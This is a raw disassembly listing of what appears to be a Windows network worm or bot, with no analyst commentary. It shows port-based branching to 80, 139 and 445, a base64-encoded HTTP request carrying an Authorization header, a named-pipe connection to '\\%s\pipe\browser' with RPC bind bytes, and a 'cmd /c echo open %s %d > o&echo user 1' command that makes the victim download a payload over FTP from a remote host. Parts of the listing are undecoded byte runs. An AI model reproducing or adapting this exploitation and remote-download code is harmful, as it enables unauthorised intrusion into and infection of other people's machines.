jnz short loc_40D019
push 0
lea eax, [ebp+var_20]
push 20h
push eax
push [ebp+arg_0]
call sub_40CE40
add esp, 10h
cmp eax, 0FFFFFFFFh
jz short loc_40D019
cmp [ebp+var_20], 82h
jz short loc_40D01D
loc_40D019: ; CODE XREF: sub_40CFDE+1Bj
; sub_40CFDE+33j
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40D01D: ; CODE XREF: sub_40CFDE+39j
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40CF04
add esp, 0Ch
leave
retn
sub_40CFDE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D030 proc near ; CODE XREF: sub_40D07C+2Dp
var_10 = qword ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
and dword ptr [ebp+var_8+4], 0
shl eax, 3
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
fmul dbl_427690
call sub_41C798
and dword ptr [ebp+var_8+4], 0
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
push ecx
push ecx ; double
fst [ebp+var_8]
fmul dbl_427688
fstp [esp+10h+var_10]
call sub_41C679
fadd st, st
pop ecx
pop ecx
fadd [ebp+var_8]
call sub_41C798
inc eax
leave
retn
sub_40D030 endp
; =============== S U B R O U T I N E =======================================
sub_40D07C proc near ; CODE XREF: sub_40D21E+24p
var_40 = qword ptr -40h
mov eax, offset loc_426DF7
call sub_41CC64
sub esp, 2Ch
mov al, [ebp+13h]
push ebx
push esi
push edi
xor edi, edi
lea ecx, [ebp-38h]
push edi
mov [ebp-20h], edi
mov [ebp-38h], al
call sub_40D6B3
push 1
pop ebx
push dword ptr [ebp+10h]
mov [ebp-4], ebx
call sub_40D030
cmp [ebp-2Ch], eax
pop ecx
jnb short loc_40D0BE
push edi
push eax
lea ecx, [ebp-38h]
call sub_40D62E
loc_40D0BE: ; CODE XREF: sub_40D07C+36j
cmp [ebp+10h], edi
mov [ebp-18h], edi
jbe loc_40D1DB
mov ebx, [ebp+10h]
loc_40D0CD: ; CODE XREF: sub_40D07C+156j
cmp dword ptr [ebp+10h], 3
jb short loc_40D0D7
push 3
jmp short loc_40D0E9
; ---------------------------------------------------------------------------
loc_40D0D7: ; CODE XREF: sub_40D07C+55j
cmp dword ptr [ebp+10h], 2
jnz short loc_40D0E1
push 2
jmp short loc_40D0E9
; ---------------------------------------------------------------------------
loc_40D0E1: ; CODE XREF: sub_40D07C+5Fj
cmp dword ptr [ebp+10h], 1
jnz short loc_40D0EA
push 1
loc_40D0E9: ; CODE XREF: sub_40D07C+59j
; sub_40D07C+63j
pop ebx
loc_40D0EA: ; CODE XREF: sub_40D07C+69j
mov [ebp-28h], ebx
mov [ebp-24h], edi
fild qword ptr [ebp-28h]
push ecx
push ecx ; double
fmul dbl_4276A0
fstp [esp+40h+var_40]
call sub_41C7BF
pop ecx
pop ecx
call sub_41C798
cmp ebx, edi
mov [ebp-1Ch], eax
jbe short loc_40D129
mov esi, [ebp+0Ch]
mov ecx, ebx
mov edx, ecx
lea edi, [ebp-10h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
xor edi, edi
loc_40D129: ; CODE XREF: sub_40D07C+93j
mov cl, [ebp-10h]
mov dl, [ebp-10h]
sar cl, 2
and cl, 3Fh
and dl, 3
mov [ebp-14h], cl
mov cl, [ebp-0Fh]
sar cl, 4
and cl, 0Fh
add [ebp+0Ch], ebx
shl dl, 4
add cl, dl
mov dl, [ebp-0Fh]
mov [ebp-13h], cl
mov cl, [ebp-0Eh]
sar cl, 6
and dl, 0Fh
sub [ebp+10h], ebx
and cl, 3
xor esi, esi
shl dl, 2
add cl, dl
mov [ebp-12h], cl
mov cl, [ebp-0Eh]
and cl, 3Fh
cmp eax, edi
mov [ebp-11h], cl
jbe short loc_40D197
add [ebp-18h], eax
loc_40D17B: ; CODE XREF: sub_40D07C+119j
movsx eax, byte ptr [ebp+esi-14h]
lea ecx, [ebp-38h]
mov al, byte_431D64[eax]
push eax
push 1
call sub_40D4B0
inc esi
cmp esi, [ebp-1Ch]
jb short loc_40D17B
loc_40D197: ; CODE XREF: sub_40D07C+FAj
cmp dword ptr [ebp-18h], 48h
jb short loc_40D1B5
push dword ptr [ebp+14h]
call sub_41AFE0
pop ecx
push eax
lea ecx, [ebp-38h]
push dword ptr [ebp+14h]
call sub_40D509
mov [ebp-18h], edi
loc_40D1B5: ; CODE XREF: sub_40D07C+11Fj
push 4
pop esi
cmp [ebp-1Ch], esi
jnb short loc_40D1CF
sub esi, [ebp-1Ch]
loc_40D1C0: ; CODE XREF: sub_40D07C+151j
push 3Dh
push 1
lea ecx, [ebp-38h]
call sub_40D4B0
dec esi
jnz short loc_40D1C0
loc_40D1CF: ; CODE XREF: sub_40D07C+13Fj
cmp [ebp+10h], edi
ja loc_40D0CD
push 1
pop ebx
loc_40D1DB: ; CODE XREF: sub_40D07C+48j
mov esi, [ebp+8]
mov al, [ebp-38h]
push edi
mov ecx, esi
mov [esi], al
call sub_40D6B3
push dword_427698
lea eax, [ebp-38h]
mov ecx, esi
push edi
push eax
call sub_40D560
mov [ebp-20h], ebx
and byte ptr [ebp-4], 0
push ebx
lea ecx, [ebp-38h]
call sub_40D6B3
mov ecx, [ebp-0Ch]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40D07C endp
; =============== S U B R O U T I N E =======================================
sub_40D21E proc near ; CODE XREF: ___:0040D41Bp
mov eax, offset loc_426E14
call sub_41CC64
sub esp, 10h
push ebx
push esi
push edi
push offset dword_43D128
lea eax, [ebp-1Ch]
push dword ptr [ebp+10h]
xor ebx, ebx
mov [ebp-4], ebx
push dword ptr [ebp+0Ch]
push eax
call sub_40D07C
mov eax, [ebp+1Ch]
mov ecx, [ebp-14h]
mov byte ptr [ebp-4], 1
lea esi, [ecx+eax+36h]
push esi
call sub_41B4D5
mov edi, eax
add esp, 14h
cmp edi, ebx
jnz short loc_40D268
xor bl, bl
jmp short loc_40D2AC
; ---------------------------------------------------------------------------
loc_40D268: ; CODE XREF: sub_40D21E+44j
mov ecx, [ebp-18h]
mov eax, offset dword_4276A8
cmp ecx, ebx
jnz short loc_40D276
mov ecx, eax
loc_40D276: ; CODE XREF: sub_40D21E+54j
cmp [ebp+18h], ebx
jz short loc_40D27E
mov eax, [ebp+18h]
loc_40D27E: ; CODE XREF: sub_40D21E+5Bj
push ecx
push eax
push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"...
push esi
push edi
call sub_41B980
add esp, 14h
push ebx
push esi
push edi
push dword ptr [ebp+8]
call dword_4CAFC4
cmp eax, esi
jz short loc_40D2A3
xor bl, bl
jmp short loc_40D2A5
; ---------------------------------------------------------------------------
loc_40D2A3: ; CODE XREF: sub_40D21E+7Fj
mov bl, 1
loc_40D2A5: ; CODE XREF: sub_40D21E+83j
push edi
call sub_41B0B1
pop ecx
loc_40D2AC: ; CODE XREF: sub_40D21E+48j
and byte ptr [ebp-4], 0
push 1
lea ecx, [ebp-1Ch]
call sub_40D6B3
or dword ptr [ebp-4], 0FFFFFFFFh
push 1
lea ecx, [ebp+14h]
call sub_40D6B3
mov ecx, [ebp-0Ch]
pop edi
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40D21E endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 420h
and byte ptr [ebp-420h], 0
push ebx
push esi
push edi
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp-41Fh]
push 8Fh
rep stosd
stosw
stosb
lea eax, [ebp-420h]
push offset sub_431F10
push eax
call sub_41C310
add esp, 0Ch
mov eax, offset byte_429108
push eax
push eax
movzx eax, word ptr dword_4CACB0
push eax
push dword ptr [ebp+8]
call sub_40AC0F
pop ecx
push eax
push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
lea eax, [ebp-391h]
push 400h
push eax
call sub_41B980
add eax, 90h
push eax
lea eax, [ebp-420h]
push eax
push 164h
lea eax, [ebp-8]
push offset sub_431DA8
push eax
call sub_40CADA
xor esi, esi
add esp, 30h
cmp [ebp-4], esi
jnz short loc_40D377
xor eax, eax
jmp loc_40D4A3
; ---------------------------------------------------------------------------
loc_40D377: ; CODE XREF: ___:0040D36Ej
mov [ebp-0Ch], esi
loc_40D37A: ; CODE XREF: ___:0040D47Aj
test esi, esi
jnz loc_40D480
push 6
push 1
push 2
nop
call near ptr 71AB3C22h
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40D468
xor eax, eax
lea edi, [ebp-1Ah]
stosd
push dword ptr [ebp+0A8h]
stosd
stosd
stosw
mov word ptr [ebp-1Ch], 2
call dword_4CAF74
mov [ebp-1Ah], ax
lea eax, [ebp+0Ch]
push eax
call dword_4CAFB4
mov [ebp-18h], eax
lea eax, [ebp-1Ch]
push 10h
push eax
push ebx
call dword_4CAF1C
cmp eax, 0FFFFFFFFh
jz loc_40D45D
cmp dword ptr [ebp+0A8h], 50h
jnz short loc_40D425
mov al, [ebp+0C3h]
sub esp, 10h
mov esi, esp
mov [ebp-20h], esp
push 0
mov ecx, esi
mov [esi], al
call sub_40D6B3
lea eax, [ebp+0Ch]
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+0Ch]
push eax
mov ecx, esi
call sub_40D6EF
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40D21E
add esp, 1Ch
jmp short loc_40D45A
; ---------------------------------------------------------------------------
loc_40D425: ; CODE XREF: ___:0040D3E3j
cmp dword ptr [ebp+0A8h], 8Bh
jnz short loc_40D43F
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40CFDE
jmp short loc_40D457
; ---------------------------------------------------------------------------
loc_40D43F: ; CODE XREF: ___:0040D42Fj
cmp dword ptr [ebp+0A8h], 1BDh
jnz short loc_40D45D
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40CF04
loc_40D457: ; CODE XREF: ___:0040D43Dj
add esp, 0Ch
loc_40D45A: ; CODE XREF: ___:0040D423j
movzx esi, al
loc_40D45D: ; CODE XREF: ___:0040D3D6j
; ___:0040D449j
push ebx
call dword_4CB00C
test esi, esi
jnz short loc_40D473
loc_40D468: ; CODE XREF: ___:0040D393j
push 3E8h
nop
call near ptr 2650E43h
loc_40D473: ; CODE XREF: ___:0040D466j
inc dword ptr [ebp-0Ch]
cmp dword ptr [ebp-0Ch], 2
jl loc_40D37A
loc_40D480: ; CODE XREF: ___:0040D37Cj
lea ecx, [ebp-8]
call sub_40C8FF
test esi, esi
jz short loc_40D4A1
mov eax, [ebp+0B0h]
shl eax, 6
inc dword_431410[eax]
lea eax, dword_431410[eax]
loc_40D4A1: ; CODE XREF: ___:0040D48Aj
mov eax, esi
loc_40D4A3: ; CODE XREF: ___:0040D372j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426DD8
loc_40D4A8: ; CODE XREF: sub_426DD8+3j
; ___:00426DF1j ...
push 1
call sub_40D6B3
retn
; END OF FUNCTION CHUNK FOR sub_426DD8
; =============== S U B R O U T I N E =======================================
sub_40D4B0 proc near ; CODE XREF: sub_40D07C+110p
; sub_40D07C+14Bp
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, dword_427698
push ebx
mov ebx, [esp+4+arg_0]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_40D4CA
call sub_42669A
loc_40D4CA: ; CODE XREF: sub_40D4B0+13j
test ebx, ebx
jbe short loc_40D501
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_40D62E
test al, al
jz short loc_40D501
movsx eax, [esp+0Ch+arg_4]
push ebx
push eax
mov eax, [esi+4]
add eax, [esi+8]
push eax
call sub_41B590
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [eax+edi], 0
loc_40D501: ; CODE XREF: sub_40D4B0+1Cj
; sub_40D4B0+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40D4B0 endp
; =============== S U B R O U T I N E =======================================
sub_40D509 proc near ; CODE XREF: sub_40D07C+131p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, dword_427698
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_40D523
call sub_42669A
loc_40D523: ; CODE XREF: sub_40D509+13j
test ebx, ebx
jbe short loc_40D558
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_40D62E
test al, al
jz short loc_40D558
mov eax, [esi+8]
push ebx
push [esp+10h+arg_0]
add eax, [esi+4]
push eax
call sub_41C310
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_40D558: ; CODE XREF: sub_40D509+1Cj
; sub_40D509+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40D509 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D560 proc near ; CODE XREF: sub_40D07C+17Cp
; sub_4265B0+15p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
mov edi, ecx
cmp [ebx+8], eax
jnb short loc_40D578
call sub_426573
loc_40D578: ; CODE XREF: sub_40D560+11j
mov eax, [ebx+8]
mov ecx, [ebp+arg_4]
mov esi, eax
sub esi, ecx
cmp [ebp+arg_8], esi
jnb short loc_40D58A
mov esi, [ebp+arg_8]
loc_40D58A: ; CODE XREF: sub_40D560+25j
cmp edi, ebx
jnz short loc_40D5AC
push dword_427698
add esi, ecx
mov ecx, edi
push esi
call sub_40D724
push [ebp+arg_4]
mov ecx, edi
push 0
call sub_40D724
jmp short loc_40D625
; ---------------------------------------------------------------------------
loc_40D5AC: ; CODE XREF: sub_40D560+2Cj
test esi, esi
jbe short loc_40D5EF
cmp esi, eax
jnz short loc_40D5EF
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D5C0
mov eax, offset dword_4276A8
loc_40D5C0: ; CODE XREF: sub_40D560+59j
cmp byte ptr [eax-1], 0FEh
jnb short loc_40D5EF
push 1
mov ecx, edi
call sub_40D6B3
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D5DB
mov eax, offset dword_4276A8
loc_40D5DB: ; CODE XREF: sub_40D560+74j
mov [edi+4], eax
mov ecx, [ebx+8]
mov [edi+8], ecx
mov ecx, [ebx+0Ch]
mov [edi+0Ch], ecx
inc byte ptr [eax-1]
jmp short loc_40D625
; ---------------------------------------------------------------------------
loc_40D5EF: ; CODE XREF: sub_40D560+4Ej
; sub_40D560+52j ...
push 1
push esi
mov ecx, edi
call sub_40D62E
test al, al
jz short loc_40D625
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D609
mov eax, offset dword_4276A8
loc_40D609: ; CODE XREF: sub_40D560+A2j
mov ecx, [ebp+arg_4]
push esi
add eax, ecx
push eax
push dword ptr [edi+4]
call sub_41C310
mov eax, [edi+4]
add esp, 0Ch
mov [edi+8], esi
and byte ptr [eax+esi], 0
loc_40D625: ; CODE XREF: sub_40D560+4Aj
; sub_40D560+8Dj ...
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_40D560 endp
; =============== S U B R O U T I N E =======================================
sub_40D62E proc near ; CODE XREF: sub_40D07C+3Dp
; sub_40D4B0+28p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
cmp edi, 0FFFFFFFDh
jbe short loc_40D640
call sub_42669A
loc_40D640: ; CODE XREF: sub_40D62E+Bj
mov ecx, [esi+4]
xor edx, edx
cmp ecx, edx
jz short loc_40D669
mov al, [ecx-1]
cmp al, dl
jz short loc_40D669
cmp al, 0FFh
jz short loc_40D669
cmp edi, edx
jnz short loc_40D6A4
dec al
push edx
mov [ecx-1], al
loc_40D65E: ; CODE XREF: sub_40D62E+47j
mov ecx, esi
call sub_40D6B3
loc_40D665: ; CODE XREF: sub_40D62E+4Bj
; sub_40D62E+52j
xor al, al
jmp short loc_40D6AE
; ---------------------------------------------------------------------------
loc_40D669: ; CODE XREF: sub_40D62E+19j
; sub_40D62E+20j ...
cmp edi, edx
jnz short loc_40D682
cmp [esp+8+arg_4], dl
jz short loc_40D677
push 1
jmp short loc_40D65E
; ---------------------------------------------------------------------------
loc_40D677: ; CODE XREF: sub_40D62E+43j
cmp ecx, edx
jz short loc_40D665
mov [esi+8], edx
mov [ecx], dl
jmp short loc_40D665
; ---------------------------------------------------------------------------
loc_40D682: ; CODE XREF: sub_40D62E+3Dj
cmp [esp+8+arg_4], dl
jz short loc_40D69F
mov eax, [esi+0Ch]
cmp eax, 1Fh
ja short loc_40D694
cmp eax, edi
jnb short loc_40D6AC
loc_40D694: ; CODE XREF: sub_40D62E+60j
push 1
mov ecx, esi
call sub_40D6B3
jmp short loc_40D6A4
; ---------------------------------------------------------------------------
loc_40D69F: ; CODE XREF: sub_40D62E+58j
cmp [esi+0Ch], edi
jnb short loc_40D6AC
loc_40D6A4: ; CODE XREF: sub_40D62E+28j
; sub_40D62E+6Fj
push edi
mov ecx, esi
call sub_40D78B
loc_40D6AC: ; CODE XREF: sub_40D62E+64j
; sub_40D62E+74j
mov al, 1
loc_40D6AE: ; CODE XREF: sub_40D62E+39j
pop edi
pop esi
retn 8
sub_40D62E endp
; =============== S U B R O U T I N E =======================================
sub_40D6B3 proc near ; CODE XREF: sub_40D07C+1Fp
; sub_40D07C+16Ap ...
arg_0 = byte ptr 4
cmp [esp+arg_0], 0
push esi
mov esi, ecx
jz short loc_40D6DF
mov eax, [esi+4]
test eax, eax
jz short loc_40D6DF
lea ecx, [eax-1]
mov al, [eax-1]
test al, al
jz short loc_40D6D8
cmp al, 0FFh
jz short loc_40D6D8
dec al
mov [ecx], al
jmp short loc_40D6DF
; ---------------------------------------------------------------------------
loc_40D6D8: ; CODE XREF: sub_40D6B3+19j
; sub_40D6B3+1Dj
push ecx
call sub_41CC83
pop ecx
loc_40D6DF: ; CODE XREF: sub_40D6B3+8j
; sub_40D6B3+Fj ...
and dword ptr [esi+4], 0
and dword ptr [esi+8], 0
and dword ptr [esi+0Ch], 0
pop esi
retn 4
sub_40D6B3 endp
; =============== S U B R O U T I N E =======================================
sub_40D6EF proc near ; CODE XREF: ___:0040D40Fp
; sub_40D848+28p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_4]
push 1
mov esi, ecx
push edi
call sub_40D62E
test al, al
jz short loc_40D71D
push edi
push [esp+0Ch+arg_0]
push dword ptr [esi+4]
call sub_41C310
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [eax+edi], 0
loc_40D71D: ; CODE XREF: sub_40D6EF+12j
mov eax, esi
pop edi
pop esi
retn 8
sub_40D6EF endp
; =============== S U B R O U T I N E =======================================
sub_40D724 proc near ; CODE XREF: sub_40D560+39p
; sub_40D560+45p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, ecx
cmp [edi+8], esi
jnb short loc_40D737
call sub_426573
loc_40D737: ; CODE XREF: sub_40D724+Cj
mov ecx, edi
call sub_40D848
mov eax, [edi+8]
mov ebx, [esp+0Ch+arg_4]
sub eax, esi
cmp eax, ebx
jnb short loc_40D74D
mov ebx, eax
loc_40D74D: ; CODE XREF: sub_40D724+25j
test ebx, ebx
jbe short loc_40D783
mov ecx, [edi+4]
sub eax, ebx
add ecx, esi
push eax
lea eax, [ecx+ebx]
push eax
push ecx
call sub_41CC90
mov esi, [edi+8]
add esp, 0Ch
sub esi, ebx
mov ecx, edi
push 0
push esi
call sub_40D62E
test al, al
jz short loc_40D783
mov eax, [edi+4]
mov [edi+8], esi
and byte ptr [esi+eax], 0
loc_40D783: ; CODE XREF: sub_40D724+2Bj
; sub_40D724+53j
mov eax, edi
pop edi
pop esi
pop ebx
retn 8
sub_40D724 endp
; =============== S U B R O U T I N E =======================================
sub_40D78B proc near ; CODE XREF: sub_40D62E+79p
mov eax, offset loc_426E20
call sub_41CC64
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+8]
or edi, 1Fh
mov esi, ecx
cmp edi, 0FFFFFFFDh
mov [ebp-10h], esp
mov [ebp-14h], esi
jbe short loc_40D7B1
mov edi, [ebp+8]
loc_40D7B1: ; CODE XREF: sub_40D78B+21j
and dword ptr [ebp-4], 0
lea eax, [edi+2]
test eax, eax
jge short loc_40D7BE
xor eax, eax
loc_40D7BE: ; CODE XREF: sub_40D78B+2Fj
push eax
call sub_41CFC5
pop ecx
mov [ebp+8], eax
jmp short loc_40D7EF
; ---------------------------------------------------------------------------
mov eax, [ebp+8]
mov [ebp-18h], eax
add eax, 2
test eax, eax
jge short loc_40D7D9
xor eax, eax
loc_40D7D9: ; CODE XREF: sub_40D78B+4Aj
push eax
call sub_41CFC5
mov [ebp+8], eax
pop ecx
mov eax, offset loc_40D7E9
retn
; ---------------------------------------------------------------------------
loc_40D7E9: ; DATA XREF: sub_40D78B+58o
mov esi, [ebp-14h]
mov edi, [ebp-18h]
loc_40D7EF: ; CODE XREF: sub_40D78B+3Dj
mov eax, [esi+8]
test eax, eax
jbe short loc_40D80D
cmp eax, edi
jbe short loc_40D7FC
mov eax, edi
loc_40D7FC: ; CODE XREF: sub_40D78B+6Dj
push eax
mov eax, [ebp+8]
push dword ptr [esi+4]
inc eax
push eax
call sub_41C310
add esp, 0Ch
loc_40D80D: ; CODE XREF: sub_40D78B+69j
mov ebx, [esi+8]
push 1
mov ecx, esi
call sub_40D6B3
mov eax, [ebp+8]
inc eax
mov [esi+4], eax
and byte ptr [eax-1], 0
cmp ebx, edi
mov [esi+0Ch], edi
ja short loc_40D82D
mov edi, ebx
loc_40D82D: ; CODE XREF: sub_40D78B+9Ej
mov eax, [esi+4]
mov ecx, [ebp-0Ch]
mov [esi+8], edi
and byte ptr [eax+edi], 0
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_40D78B endp
; =============== S U B R O U T I N E =======================================
sub_40D848 proc near ; CODE XREF: sub_40D724+15p
push esi
push edi
mov edi, ecx
mov esi, [edi+4]
test esi, esi
jz short loc_40D875
mov al, [esi-1]
test al, al
jz short loc_40D875
cmp al, 0FFh
jz short loc_40D875
push 1
call sub_40D6B3
push esi
call sub_41AFE0
pop ecx
push eax
push esi
mov ecx, edi
call sub_40D6EF
loc_40D875: ; CODE XREF: sub_40D848+9j
; sub_40D848+10j ...
pop edi
pop esi
retn
sub_40D848 endp
; =============== S U B R O U T I N E =======================================
sub_40D878 proc near ; DATA XREF: ___:00429008o
test byte_4DB594, 1
jnz short loc_40D888
or byte_4DB594, 1
loc_40D888: ; CODE XREF: sub_40D878+7j
jmp $+5
push offset nullsub_1
call sub_41D040
pop ecx
retn
sub_40D878 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40D89A proc near ; DATA XREF: ___:0042900Co
jmp $+5
sub_40D89A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40D89F proc near
mov eax, dword_4321C8
add eax, 6
mov dword_4CDC94, eax
retn
sub_40D89F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D8AD proc near ; CODE XREF: sub_40D8AD+D0p
; ___:0040DE0Cp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_7 = byte ptr 0Fh
arg_C = word ptr 14h
arg_14 = dword ptr 1Ch
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = byte ptr 30h
arg_2B = byte ptr 33h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_28], 0
push ebx
push esi
push edi
jz short loc_40D8C1
or [ebp+arg_7], 1
jmp short loc_40D8C5
; ---------------------------------------------------------------------------
loc_40D8C1: ; CODE XREF: sub_40D8AD+Cj
and [ebp+arg_7], 0FEh
loc_40D8C5: ; CODE XREF: sub_40D8AD+12j
mov ecx, [ebp+arg_24]
mov ebx, [ebp+arg_20]
movzx eax, cx
lea edx, [ebx+18h]
cmp edx, eax
ja short loc_40D8E9
or [ebp+arg_7], 2
and [ebp+arg_2B], 0
lea eax, [ebx+18h]
mov [ebp+arg_14], ebx
mov [ebp+arg_C], ax
jmp short loc_40D8FB
; ---------------------------------------------------------------------------
loc_40D8E9: ; CODE XREF: sub_40D8AD+26j
add eax, 0FFFFFFE8h
and [ebp+arg_7], 0FDh
mov [ebp+arg_C], cx
mov [ebp+arg_14], eax
mov [ebp+arg_2B], 1
loc_40D8FB: ; CODE XREF: sub_40D8AD+3Aj
movzx eax, [ebp+arg_C]
push eax
mov [ebp+var_4], eax
call sub_41B4D5
test eax, eax
pop ecx
mov [ebp+arg_20], eax
jz loc_40D994
push 6
lea esi, [ebp+arg_4]
pop ecx
mov edi, eax
rep movsd
mov edi, [ebp+arg_14]
mov esi, [ebp+arg_1C]
push edi
add eax, 18h
push esi
push eax
call sub_41C310
add esp, 0Ch
lea eax, [ebp+var_8]
push 0
push eax
push [ebp+var_4]
push [ebp+arg_20]
push [ebp+arg_0]
nop
call near ptr 26D0000h
test eax, eax
jz short loc_40D98B
mov eax, [ebp+var_4]
cmp [ebp+var_8], eax
jnz short loc_40D98B
push [ebp+arg_20]
call sub_41B0B1
cmp [ebp+arg_2B], 0
pop ecx
jz short loc_40D987
push 0
sub ebx, edi
push [ebp+arg_24]
add edi, esi
lea esi, [ebp+arg_4]
push ebx
push edi
sub esp, 18h
push 6
pop ecx
mov edi, esp
push [ebp+arg_0]
rep movsd
call sub_40D8AD
add esp, 2Ch
jmp short loc_40D996
; ---------------------------------------------------------------------------
loc_40D987: ; CODE XREF: sub_40D8AD+B3j
mov al, 1
jmp short loc_40D996
; ---------------------------------------------------------------------------
loc_40D98B: ; CODE XREF: sub_40D8AD+9Cj
; sub_40D8AD+A4j
push [ebp+arg_20]
call sub_41B0B1
pop ecx
loc_40D994: ; CODE XREF: sub_40D8AD+61j
xor al, al
loc_40D996: ; CODE XREF: sub_40D8AD+D8j
; sub_40D8AD+DCj
pop edi
pop esi
pop ebx
leave
retn
sub_40D8AD endp
; ---------------------------------------------------------------------------
db 55h ; U
db 8Bh ; ‹
db 0ECh ; ì
db 0B8h ; ¸
db 0DCh ; Ü
db 60h ; `
db 0
db 0
db 0E8h ; è
db 78h ; x
db 0E1h ; á
db 0
db 0
db 53h ; S
db 56h ; V
db 57h ; W
db 68h ; h
db 0BCh ; ¼
db 0D4h ; Ô
db 42h ; B
db 0
db 0FFh
db 75h ; u
db 8
db 0E8h ; è
db 0A8h ; ¨
db 0F7h ; ÷
db 0
db 0
db 59h ; Y
db 33h ; 3
db 0DBh ; Û
db 85h ; …
db 0C0h ; À
db 59h ; Y
db 74h ; t
db 4Eh ; N
db 0FFh
db 75h ; u
db 8
db 0BEh ; ¾
db 0
db 20h
db 0
db 0
db 8Dh ;
db 85h ; …
db 24h ; $
db 0DFh ; ß
db 0FFh
db 0FFh
db 68h ; h
db 44h ; D
db 22h ; "
db 43h ; C
db 0
db 56h ; V
db 50h ; P
db 0E8h ; è
db 0A6h ; ¦
db 0DFh ; ß
db 0
db 0
db 6Ah ; j
db 20h
db 8Dh ;
db 85h ; …
db 24h ; $
db 0FFh
db 0FFh
db 0FFh
db 53h ; S
db 50h ; P
db 0E8h ; è
db 0A7h ; §
db 0DBh ; Û
db 0
db 0
db 8Dh ;
db 85h ; …
db 24h ; $
db 0DFh ; ß
db 0FFh
db 0FFh
db 83h ; ƒ
db 0C4h ; Ä
db 1Ch
db 89h ; ‰
db 85h ; …
db 38h ; 8
db 0FFh
db 0FFh
db 0FFh
db 0B8h ; ¸
db 28h ; (
db 0D1h ; Ñ
db 43h ; C
db 0
db 53h ; S
db 50h ; P
db 50h ; P
db 8Dh ;
db 85h ; …
db 24h ; $
db 0FFh
db 0FFh
db 0FFh
db 50h ; P
db 0E8h ; è
db 44h ; D
db 8Dh ;
db 1
db 0
; ---------------------------------------------------------------------------
jmp short loc_40DA13
; ---------------------------------------------------------------------------
db 0BEh ; ¾
db 0
db 20h
db 0
db 0
; ---------------------------------------------------------------------------
loc_40DA13: ; CODE XREF: ___:0040DA0Cj
push dword ptr [ebp+8]
lea eax, [ebp-40DCh]
push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
push esi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp-40DCh]
push ebx
push 40000000h
push 3
push ebx
push 3
push 0C0000000h
push eax
nop
call near ptr 26E0921h
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jnz short loc_40DA57
loc_40DA50: ; CODE XREF: ___:0040DB2Fj
; ___:0040DD05j ...
xor al, al
jmp loc_40DE9B
; ---------------------------------------------------------------------------
loc_40DA57: ; CODE XREF: ___:0040DA4Ej
push 48h
lea eax, [ebp-0B8h]
push ebx
push eax
call sub_41B590
push 10h
mov byte ptr [ebp-0B8h], 5
pop eax
mov [ebp-0B7h], bl
push 1
mov [ebp-0B4h], eax
pop edi
mov byte ptr [ebp-0B6h], 0Bh
push eax
lea eax, [ebp-98h]
